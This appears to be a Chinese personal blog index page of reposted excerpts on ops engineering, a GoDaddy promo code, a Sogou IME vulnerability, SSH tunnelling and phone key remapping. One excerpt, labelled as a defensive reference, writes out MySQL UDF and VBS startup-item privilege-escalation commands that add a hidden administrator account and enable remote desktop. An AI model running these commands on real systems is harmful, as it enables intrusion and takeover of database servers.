飘零的代码 hacker-piao ’s blog

3月中旬就要去实习了，虽然签约的是运维工程师，不过到底什么是运维工程师呢？网上搜索出来的资料也没有明确的定义。不过发现一篇文章写的是对运维工程师的理解，觉得挺好的，转载过来。
对于网站运维，感觉大家还是比较迷惘与不解，确实，这是一个新兴岗位；今天闲来无事，在此结合自已以往的一些经历，与大家先共同探讨一下“什么是门户网站运维”？以下是自已的一些经验和感受请大家斧正，希望和大家一起探讨，共同进步

一、什么是门户网站运维?

首先明确一下，全文所讲的”运维“是指：门户网站运维，与其它运维的区别还是蛮大的；然后我们再对大型网站与小型网站进行范围定义，此定义主要从运维复杂性角度考虑，如网站规范、知名度、服务器量级、pv量等考虑，其它因素不是重点；因此，我们先定义服务器规模大于1000台，pv每天至少上千万（至少国内排名前20），如sina、alibaba、sohu、baidu、网易等 [Read the rest of this entry...]

看到新闻马上注册了一个域名piao2010.com，确实不错，感谢作者月夜，国际顶级域名只要人民币8元，支持支付宝了。以下开始ZZ：

今天发现，继圣诞节爆出顶级优惠码后，全球第一大域名注册商——Godaddy再爆超级优惠——BOWL2010。和上次的优惠码相同，本次优惠码再次让你可以用0.99美元的超低价注册或转移顶级域名。

不过相比上次，因为Godaddy已经开通了对支付宝的支持，所以此次你在支付的过程中甚至可以直接使用支付宝支付，而不是局限于信用卡；换个说法，你可以使用税后8块钱的超低价在Godaddy注册顶级域名，或者将你的顶级域名转移到Godaddy的账户上。月夜 已亲自通过转移域名到Godaddy的实验，证实该方法确实可行。 [Read the rest of this entry...]

转载：
无意发现了一个很严重的漏洞，和当年3389 输入法漏洞相似。 不过暂时不影响未系统未加载搜狗输入法（未登录系统）。如果远程服务器装了 搜狗，登录系统后加载了搜狗，而又未及时注销或kill掉搜狗输入法直接关闭了远程连接，那么这些server 就很危险咯。

测试环境：
OS: windows 7 ultimate
搜狗输入法 4.3 正式版

漏洞过程描述： [Read the rest of this entry...]

本文是转载，仅供系统管理人员安全防护参考之用！
一 UDF提权

这类提权方法我想大家已经知道了，我大致写一下，具体语句如下：

create function cmdshell returns string soname ’udf.dll’
select cmdshell(’net user iis_user 123!@#abcABC /add’);
select cmdshell(’net localgroup administrators iis_user /add’);
select cmdshell(’regedit /s d:\web\3389.reg’);
drop function cmdshell;
select cmdshell(’netstat -an’);

二 VBS启动项提权

create table a (cmd text);
insert into a values (”set wshshell=createobject (”"wscript.shell”") ” );
insert into a values (”a=wshshell.run (”"cmd.exe /c net user iis_user 123!@#abcABC /add”",0) ” ); [Read the rest of this entry...]

应该是很古老的技术了，拿来凑数更新一下博客吧。至于SSH Tunnel代理有什么用途就留给读者思考吧。利用putty的ssh tunnel功能实现安全的代理，原理是当用putty ssh连接到远程服务器的时候，putty可以在本地开启一个端口，本地的应用程序连接到本地的这个端口。相当于putty在本地充当了一个socks代理服务器为本地的应用程序提供socks代理。 [Read the rest of this entry...]

小麦的多普达577w手机按键（确认键）失灵，每次都要花大力气狂按半天才会有反应。。。从网上搜索了半天，多数都是硬件维修。。。不想为旧手机花太多钱所以就找到了这个用其它快捷键代替的方法。感谢作者的辛勤劳动！原文http://hi.baidu.com/zht391/blog/item/d013773180605e1ceac4af68.html

文中提到的软件batchrun比较难找，我已上传到博客方便大家下载，这里下载。
以下开始ZZ：

废话就不再说了，下面开始正题。我以577w用“信息键”替换“返回键”为例。

硬件：577w , 586w 等带快捷键的sp或ppc （必须有快捷键，才能替换嘛，你要拿其他键替换也可以）
软件：batchrun （系统版本无限制） [Read the rest of this entry...]